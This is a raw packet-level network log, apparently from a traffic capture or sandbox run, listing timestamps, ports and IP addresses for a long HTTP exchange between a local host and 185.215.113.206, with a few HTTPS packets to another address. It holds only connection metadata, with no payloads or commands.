Nov 25, 2024 03:39:52.697824001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.697907925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.697932959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.697983980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.698667049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.698708057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.698765039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.698822021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.699536085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.699619055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.699631929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.699676037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.700495958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.700541019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.700557947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.700612068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.701342106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.701379061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.738090038 CET	49807	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:52.865948915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.866008997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.866055012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.866091967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.866379023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.866436958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.866478920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.866516113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.867275000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.867343903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.867392063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.868143082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.868187904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.868242979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.868300915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.869048119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.869096041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.869132042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.869178057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.869915009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.870029926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.870079041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.870770931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.870830059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.870868921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.870964050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.871634960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.871685028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.871747017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.871870041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.872551918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.872613907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.872621059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.872659922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.873429060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.873482943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.873569965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.873676062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.874284983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.874330044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.874377012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.875161886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.875207901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.875267029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.875327110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.876055002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.876102924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.876137972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.876179934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.876935959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.876991034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.877068043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.877130032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.877820969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.877876997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.877908945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.877945900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.878689051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.878757000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.878813982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.878851891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.879573107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.879664898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.879683971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.879717112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.880453110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.880498886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.880501032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.880537033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.881375074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.881387949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.881704092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.882213116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.882260084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.882349014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.882385015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.883121014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.883167982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.883300066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.883347034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.883995056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.884042978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.884095907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.884166956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.884845972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.884900093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.884939909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.884978056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.885752916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.885864973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.885909081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.886605978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.886656046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.886693954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.886744022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.887480974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.887547016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.887572050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.887610912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.888382912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.888443947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.888479948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.888520956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.889262915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.889314890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.889353037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.889394045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.890116930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.890163898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.890208006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.890247107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.891020060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.891067982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.891115904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.891211033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.891875029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.891921997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.891978979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.892016888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.892767906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.892813921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.892862082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.892900944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.893635035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.893687963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.893723965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.893760920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.894515991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.894619942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.894624949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.894653082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.895404100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.895451069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.895514011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.895585060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.896265030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.896311045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.896374941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.896414995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.897149086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.897197962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.897248030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.897331953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.898060083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.898159981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.898190022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.898258924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.898919106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.898979902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.899013042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.899050951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.899815083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.899864912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.899899006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.899950027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.900700092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.900789022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.900803089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.900826931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.901555061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.901643991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.901652098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.901679993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.902440071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.902487040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.902523041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.902570009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.903323889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.903371096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.903414011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.903480053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.904215097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.904262066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.904295921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.904333115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.905075073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.905123949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.905189037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.905226946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.905958891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.905978918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.906012058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.906030893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.906843901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.906893969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.906951904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.906991005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.907732964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.907813072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.907821894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.907857895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.908608913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.908651114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.908696890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.908942938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.909467936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.909524918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.909560919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.909609079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.910337925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.910396099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.910432100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.910470009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.911254883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.911360979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.911389112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.911411047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.912058115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.912123919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.924395084 CET	443	49808	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:52.925080061 CET	49808	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:52.925090075 CET	443	49808	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:52.925405979 CET	443	49808	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:52.925992012 CET	49808	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:52.926049948 CET	443	49808	23.209.72.10	192.168.2.8
Nov 25, 2024 03:39:52.972318888 CET	49808	443	192.168.2.8	23.209.72.10
Nov 25, 2024 03:39:53.076503038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.076586962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.076606035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.076632977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.076936007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.076981068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.077002048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.077044964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.077852011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.077914000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.077914953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.077948093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.078696012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.078754902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.078769922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.078948975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.079560041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.079612017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.079658985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.079889059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.080421925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.080470085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.080487967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.080552101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.081330061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.081427097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.081450939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.081482887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.082190990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.082251072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.082284927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.082326889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.083081961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.083137989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.083172083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.083211899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.083956957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.084053040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.084098101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.084866047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.084918976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.084944963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.084985971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.085731983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.085791111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.085824013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.085863113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.086623907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.086667061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.086705923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.086746931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.087480068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.087492943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.087532043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.088361025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.088424921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.088474035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.088552952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.089791059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.089804888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.089837074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.089857101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.090106010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.090190887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.090234041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.091006041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.091061115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.091068983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.091111898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.091897011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.091984034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.092001915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.092040062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.092757940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.092910051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.092957020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.093650103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.093703032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.093740940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.093816996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.094517946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.094568968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.094593048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.094633102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.095413923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.095527887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.095572948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.096273899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.096338987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.096378088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.096415043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.097131014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.097177982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.097239017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.097310066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.098035097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.098089933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.098124981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.098166943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.098925114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.098982096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.099014044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.099046946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:53.099795103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:53.099848986 CET	49748	80	192.168.2.8	185.215.113.206
